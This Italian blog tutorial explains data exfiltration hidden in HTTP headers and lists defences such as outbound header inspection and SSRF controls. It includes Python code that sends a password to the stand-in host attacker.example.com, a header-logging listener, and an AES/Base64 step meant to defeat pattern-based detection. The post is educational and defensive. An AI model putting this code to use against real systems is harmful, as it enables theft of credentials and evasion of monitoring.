🔐 Relayed Data Exfiltration via HTTP Headers: Tecnica, Esempi e Difese

  


L'esfiltrazione tramite header HTTP avviene quando un attaccante inserisce dati sensibili (es. credenziali, token, contenuti di file, ecc.) all’interno degli header HTTP di una richiesta che viene inoltrata a un server controllato dall'attaccante. Gli header sono campi come User-Agent, Referer, Cookie, X-Forwarded-For, Authorization, o header personalizzati (X-Custom-Header).

🔗 Ti piace Techelopment? Dai un'occhiata al sito per tutti i dettagli!

📌 Cos'è

La Relayed Data Exfiltration via HTTP Headers è una tecnica avanzata utilizzata da attaccanti per sottrarre dati sensibili sfruttando header HTTP apparentemente innocui. Questo tipo di esfiltrazione è particolarmente insidioso perché può bypassare firewall, WAF e proxy aziendali, mimetizzandosi tra il traffico legittimo.


⚙️ Come funziona

Il meccanismo si basa sull’inserimento di dati esfiltrati all’interno di uno o più header HTTP di una richiesta che viene inoltrata ("relayed") da un’applicazione web — spesso tramite vulnerabilità come SSRF, RFI, o misconfigurazioni di proxy.

🔁 Flusso tipico dell’attacco

  1. L’attaccante sfrutta un punto di ingresso (es. input utente o vulnerabilità) per far sì che un server della vittima generi una richiesta HTTP.
  2. I dati da esfiltrare vengono inseriti in un header HTTP come User-Agent, Referer, o un header personalizzato (X-Secret-Data).
  3. Il server della vittima invia la richiesta a un dominio controllato dall’attaccante.
  4. Il server dell’attaccante legge gli header HTTP e estrae i dati rubati.

🧪 Esempio di esfiltrazione (in python)

✅ Script di invio dati

import requests

# Dato sensibile da esfiltrare
secret_data = "password=SuperSegreta123"

# Server dell'attaccante
attacker_url = "http://attacker.example.com/collect"

# Header contenente il dato
headers = {
    "User-Agent": "Mozilla/5.0",
    "X-Secret-Data": secret_data
}

requests.get(attacker_url, headers=headers)

✅ Listener per intercettare gli header

from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        for key, value in self.headers.items():
            print(f"{key}: {value}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

HTTPServer(('', 8000), Handler).serve_forever()

🕵️‍♂️ Crittografia dei dati negli header

Per rendere l’esfiltrazione ancora più difficile da identificare, un attaccante può crittografare i dati prima di inserirli negli header. Questo nasconde completamente il contenuto anche agli strumenti di ispezione che cercano pattern noti.

🔒 Esempio con codifica Base64 + crittografia AES

from Crypto.Cipher import AES
import base64

key = b'Sixteen byte key'
cipher = AES.new(key, AES.MODE_ECB)

plaintext = b"token=ABC123"
padded = plaintext + b' ' * (16 - len(plaintext) % 16)
encrypted = cipher.encrypt(padded)
encoded = base64.b64encode(encrypted).decode()

headers = {
    "X-Secret-Data": encoded
}

Chi riceve i dati può decifrarli solo conoscendo la chiave simmetrica. Questo rende la rilevazione basata su pattern inefficace.


⚠️ Nota importante

Gli esempi di codice sono solo a scopo didattico e di testing locale. L’uso su sistemi senza autorizzazione è illegale e contrario all’etica informatica.


🧱 Tecniche di difesa

✅ Buone pratiche e contromisure

  • Controllare e validare gli header HTTP in uscita.
  • Limitare i domini di destinazione per il traffico HTTP generato dall’interno.
  • Utilizzare firewall e proxy con ispezione profonda (deep packet inspection).
  • Monitorare header anomali o rari come X-*, Authorization, Referer con payload non standard.
  • Bloccare o controllare SSRF/RFI e limitare l'accesso a endpoint interni.
  • Decodificare e ispezionare contenuti codificati o criptati nei log di traffico sospetto.

🧭 Conclusione

La Relayed Data Exfiltration via HTTP Headers è una tecnica tanto subdola quanto efficace. Grazie alla sua capacità di mascherarsi nel traffico legittimo e, se necessario, di criptare i payload, rappresenta una minaccia concreta soprattutto per infrastrutture cloud o microservizi mal configurati.

È quindi fondamentale adottare un approccio proattivo, combinando visibilità, controllo del traffico e pratiche di sviluppo sicuro.



Follow me #techelopment

Official site: www.techelopment.it
facebook: Techelopment
instagram: @techelopment
X: techelopment
Bluesky: @techelopment
telegram: @techelopment_channel
whatsapp: Techelopment
youtube: @techelopment